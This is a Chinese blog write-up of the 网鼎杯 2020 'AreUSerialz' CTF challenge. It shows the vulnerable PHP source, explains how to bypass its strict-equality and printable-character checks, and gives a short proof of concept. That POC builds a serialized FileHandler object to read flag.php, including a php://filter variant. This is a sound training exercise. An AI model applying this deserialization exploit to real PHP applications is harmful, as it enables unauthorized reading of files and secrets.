• [网鼎杯 2020 青龙组]AreUSerialz


    [网鼎杯 2020 青龙组]AreUSerialz

    
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
        
        //根据op值处理
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        //进行文件写入
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        //可以考虑read读取flag。好像上面的write也可以写shell。先尝试能不能直接读取
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: 
    "
    ; echo $s; } //op强等于“2”设置op等于“1” function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } //判断是否为可见字符 function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87

    查看代码可以看出来,GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。

    反序列化的过程中,调用__destruct析构方法

    析构方法判断为强等于。可以考虑绕过

    有一个需要注意的地方是,op, filename, content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

    简单的一种绕过方法是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

    POC:

    
    class FileHandler {
        public $op = 2;
        public $filename = "flag.php";
    //    或者 public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
        public $content;
    }
    
    $a = new FileHandler();
    $b = serialize($a);
    echo($b);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
  • 相关阅读:
    【Jetson 设备】window10主机下使用VNC可视化控制Jetson Orin NX
    javascript利用xhr对象实现http流的comet轮循,主要是利用readyState等于3的特点
    数据平台数据接入实践
    vscode中快速生成vue3模板
    c语言基础:L1-048 矩阵A乘以B
    2M大小的PDF文档上传到LangChain-ChatGLM知识图谱中,大致需要的时间
    拟态时钟动画
    Spring Boot跨域处理
    深入实践 Spring Boot PDF 百度云盘下载
    多线程使用处理数据库导致锁表解决办法
  • 原文地址:https://blog.csdn.net/m0_52920608/article/details/134252182